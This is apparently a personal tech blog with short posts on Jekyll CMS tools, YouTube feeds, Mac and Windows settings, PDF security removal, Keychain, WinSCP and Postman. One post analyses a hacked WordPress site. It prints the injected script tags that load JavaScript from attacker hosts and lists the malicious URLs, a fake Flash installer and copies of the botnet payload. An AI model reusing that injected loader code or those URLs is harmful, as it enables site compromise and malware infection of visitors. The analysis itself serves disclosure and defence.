(Visual) CMS for Jekyll
Published 2017-06-22, 12:20
Jekyll is „a blog-aware, static site generator in Ruby“. It also is used by Github Pages, which means you can host simple static sites, managed via Git, for free with it. That’s great.
Not that great (for me) is that you have to manage the content in the file system and manually handle Markdown files. That’s why there are multiple visual, hosted CMS for Jekyll.
I looked at some of them:
- Siteleaf is a nice hosted application that offers a structured view of your Jekyll files. Collections get their own navigation entries, the Markdown editor is decent (although
superpretty small with no fullscreen or „show the relevant stuff only“ option), even their visual editor (beta) doesn’t seem to bad.
Unfortunately it is unusable for me as it messes with the front matter (resorts the entries) and _config.yml (also resorts and removes all comments) the moment you add the repository to siteleaf. Boo!Their collection view also doesn’t understand sub-folders and just ignores them.
The free plan is limited to 100 pages.
- Forestry does the same things as Siteleaf, but a lot better. Collections get their navigation, show the subfolders, front matter and config files stay untouched. The markdown and WYSIWYG editors are… okayish. Markdown view has a few strange bugs and although WYSIWYG is a great preview, using it to edit can break stuff quite fast. Switching between the two also can cause loss of data. Again the real editor is much too small, no fullscreen or „writing mode“ view – I don’t understand why this is not the focus.
Their team is very responsive via Intercom and also seems to fix bugs quite frequently. Let’s hope they continue doing so, then this could get pretty nice.
- cloudcannon is a different beast – it actually manages to make your rendered pages editable in their „Visual Editor“. Unfortunately advanced stuff like Automated „Table of Contents“ Generation of kramdown gets overwritten by this. The „Content Editor“ (WYSIWYG without my design) has the same problem and the „Source Editor“ is very sourcy and feels more like an programming IDE.Besides that the Editors are awesome, really great work from the team. You can hide all the UI to make a very focused write environment and everything seems very well thought out.
- Prose has no visual editor, no „structured“ view of the file system – but it just works. You can edit files, preview the Markdown, commit it to Github. The editor view is very clean and simple which makes for a great full screen experience. Before saving you also have a „diff“ view, that – although a bit rudimentary – gives a great overview of the changes you (accidentally?) created.
Although hosted on prose.io, Prose is also open source (since 2012!) and can be hosted on your own server. The instance on prose.io is great though, and you can (ab)use the Github issues as a support channel if needed. Nice people.
(A more complete list is at headlessCMS.org.)
So because of the shortcomings of Siteleaf (unusable because of messing with my data), Forestry (buggy editors) and Cloudcanon (doesn’t support advanced stuff) I am actually using Prose right now.
(Of course there also several options you can self host, but as that kind of defeats the purpose to go to a Github Pages hosted static site – now I have o host the CMS myself – I skipped those. Still, some links: MeetHyde, jekyll-admin)
YouTube RSS Feeds
Published 2017-04-23, 22:47
- https://www.youtube.com/feeds/videos.xml?channel_id=CHANNELID
- https://www.youtube.com/feeds/videos.xml?user=USERNAME
- https://www.youtube.com/feeds/videos.xml?playlist_id=YOUR_YOUTUBE_PLAYLIST_NUMBER
Source: http://stackoverflow.com/a/31535120
Mac OS X: Unabhängige Scroll-Richtung für Maus und Touchpad
Published 2017-04-04, 12:28
Natural Scrolling ist toll auf Mac OS X. Allerdings nur mit dem Touchpad, nicht mit der angeschlossenen USB-Maus. Dummerweise sind die „Scroll Direction“-Einstellungen von Maus und Touchpad aneinander gekoppelt, so dass wenn die eine (de)aktiviert wird, die andere dies auch tut.
Heute aber eine Lösung gefunden: https://pilotmoon.com/scrollreverser/
Installiert, konfiguriert, Problem behoben.
Windows 10: WLAN/Netzwerk von „Öffentliches Netzwerk“ auf „Privates Netzwerk“ umstellen
Published 2017-03-30, 13:20
Mit Windows 10 hat sich (mal wieder) geändert, wie man sein WLAN/Netzwerk von „öffentlich“ auf „privat“ umstellen kann. Das ist relevant weil die Windows Firewall zwischen diesen beiden Klassen von Verbindungen unterscheidet und manche Verbindung aus Versehen falsch kategorisiert werden kann. Also muss man es ändern. Nur wo?
Die Einstellung findet sich nun in den „Einstellungen“ (bzw. „Eigenschaften“, je nach dem wo man es findet) des jeweiligen WLANs/Netzwerkes und wird dort als „Dieser PC soll gefunden werden“ bezeichnet. Ist dieser Schalter auf „Ein“, wird die Verbindung als „privat“ gehandhabt, bei „Aus“ eben als „öffentlich“.
Logisch, oder? *augenroll
Viele weitere Möglichkeiten finden sich hier: https://www.deskmodder.de/wiki/index.php?title=Netzwerk_%C3%B6ffentlich_privat_%C3%A4ndern_Windows_10
Remove security from a secured PDF file
Published 2017-03-07, 21:41
One of my banks stopped offering downloadable CSV files of the statements af account. Bastards.
Luckily they still offer the monthly statement as a PDF. Parse that (parsing PDFs always is a pain, but possible), you have a CSV.
…
Unfortunately the PDFs offered for download are Secured PDF files. And most PDF parsing libraries can’t or don’t want to handle secured files.
„Well, bank statements are sensitive information!“ you might say. Yes they are. So I would understand if they used a security setting that requires a password to open a file. But they don’t do that. The file is just secured so… I don’t know exactly. I can do everything but open them by my trusted library.
I could just open all the files and then print them again as PDF to have an unsecured PDF file. But as I have lots of statements, this doesn’t sound too fun.
Of course there are also many paid softwares to remove PDF passwords and security features. Most cost once to register, some even monthly. Meh.
But if you spend some more time googling, there are also FREE tools:
- Weeny Free PDF Password Remover (Windows)
- QPDF (CLI)
Weeny’s tool is really nice and super usable. Happy ‚customer‘ here 🙂
Keychain: How to delete one certificate whose private key is also connected to other certificates without deleting this private key
Published 2015-11-25, 14:57
When you try to delete a certain certificate, Keychain by default also deletes the private key that certificate is connected to. As you don’t want to make all your other certificates that use the same private key useless, this can be a problem.
This is how you solve this problem:
- Create a backup of your original keychain. You may break something, and then want to go back to where you where before
- Create a new keychain ‚foo‘
- Move the certificate you want to get rid of to this new keychain
(This will also copy the private key of this cert and remove it from all your other certificates – which are not useless) - Move only the private key back to your original keychain
(This will of course remove it from the cert you want to delete anyway and move it back to all the certs you want to keep – that are now whole again) - Check if all the certificates in your original keychain are valid again and have their private key back
- Delete the ‚foo‘ keychain with only the cert inside
- Tadaaa!
But Apple software is sooo convenient…
What happens if your WordPress is hacked – or: How botnets are created with hijacked Worpess, fake Flash downloads and node.js
Published 2015-11-23, 14:14
I just noticed the website of an old employer has been hacked and some JavaScript is injected into their corporate website that runs on WordPress. Ouch. Of course I notified them about it and they’re just trying to figure out what happened and how to fix it.
This taken care of, I of course started looking at what the attackers placed there:
<script>
(function() {
var gcse = document.createElement('script');
gcse.type = 'text/javascript';
gcse.async = true;
gcse.src = "http://theboatersnetwork.com/js/main1.js";
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(gcse, s);
})();
</script>
and
<script>
(function() {
var gcse = document.createElement('script');
gcse.type = 'text/javascript';
gcse.async = true;
gcse.src = "http://cjccontabil.com.br/wp-content/themes/Hermes/main1.js";
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(gcse, s);
})();
</script>
(Actually the second script is inserted twice – probably the same post was hacked again and the payload placed a second time – even hacker forget stuff the did before.)
So we see there are two files included to this nice corporate website:
- http://theboatersnetwork.com/js/main1.js
- http://cjccontabil.com.br/wp-content/themes/Hermes/main1.js
Let’s have a look at them.
http://cjccontabil.com.br/wp-content/themes/Hermes/main1.js
(Copy of the file if it gets removed: http://pastebin.com/hyNmgD6b)
This checks if there is a ‚doRedirect‘ cookie set, if not it redirects to http://bit.do/bvSyy. This pseudo bit.ly link (note the .do domain instead of .ly) redirect to some link. It also offers statistics on http://bit.do/bvSyy-, so we know this redirect has already been used (at the time of writing) 18.000 times. And we also see all the domains that include this link. Ouch. (Now I notified some other German domains – can’t notify them all :/)
The link it redirects you to is http://w5ea5z6gf.homepage.t-online.de/js/20140427232734/ which is a faked Flash Player download site where you can download a file called http://btob.es/OLD_20100113/blogbtob/flashplayer19ax_ma_install.exe . This is of course not a Flash Player, but a ZIP that extracts itself.
In there you find some node.js binaries, a script to load node if it is missing and an index.js. If you are brave enough to execute this, it downloads an updater.js, version.txt (that only says „93“) and script.js:
- Copy of index.js: http://pastebin.com/BYLjqdq7
- Copy of updater.js: http://pastebin.com/Mg1VjcBs
- Copy of script.js: http://pastebin.com/emxkPv4U
updater.js is basically a pimped out version of the index.js we already have, but can basically do the same stuff. script.js is another beast with 729 lines of code. Executing this you get some output like this:
> node script.js
connecting
connected
{ type: ‚createProxy‘, id: 0 }
createProxy
{ type: ‚createProxy‘,
attachTo: { ip: ‚190.128.247.118‘, port: 53963 },
id: 1 }
createProxy
creating attached proxy: 190.128.247.118:53963
attached to 190.128.247.118:53963
So it seems this is connecting to a proxy in Paraguay and … I don’t know, because I didn’t (try to) understand what the rest of script.js actually does after that. Best guess is it connects to a proxy and gets some commands, also it creates a proxy itself on my machine that can be used by other nodes to connect to and use. Someone has this list of proxies to do whatever he wants with my machine in a node.js context – and that’s a lot of things he can do.
(Anyone wants to look at script.js a bit more and tell me what it actually does? I’m curious…)
http://theboatersnetwork.com/js/main1.js
(Copy of the file if it gets removed: http://pastebin.com/VS11VZmu)
This file is a bit more straight forward, although I absolutely don’t get why it does what it does:
- First it POSTs to a server to get a list of keywords
- Then it uses these keywords to GET a search on Google API: https://www.googleapis.com/customsearch/v1element
- It gets the URLs of the results and puts them in a list…
- … that is then POSTed back to the server while getting new keywords
- goto 1
It uses a proper Google API key to make these requests, so Google at least know what Google account is connected to these requests. The server it sends to is a Polish IP that is known for spam, so make of that what you will. But I honestly don’t know what the use of this activity is and how you could possible gain something from this.
(Any idea?)
Conclusion
Someone hacks WordPress websites and includes strange .js files that a) lead to fake Flash downloads that install a botnet on your PC and b) abuse your browser to get URLs from a Google search.
My former employer is still trying to figure out if this is serious and who is reponsible for fixing the modified wordpress posts… this could take some time.
Tipico Pay ist eine Einzahlungs-App für den Sportwetten-Anbieter Tipico.
WinSCP Files Custom Command for WinMerge diff
Published 2015-04-30, 10:53
Local command:
„C:\Program Files (x86)\WinMerge\WinMergeU.exe“ /n /t=2 /q ! !^!
Notepad++ backup folder
Published 2015-03-26, 15:03
%AppData%/Notepad++/backup
Postman: Use result data in test scripts (and save to environment)
Published 2015-03-10, 21:41
Just use ‚request‘ in the test script:
- request.data is an object with all the request parameters
- request.url contains the requested URL
- request.method contains the used request method
- request.headers is an object with all the headers
Makes so many things easier 🙂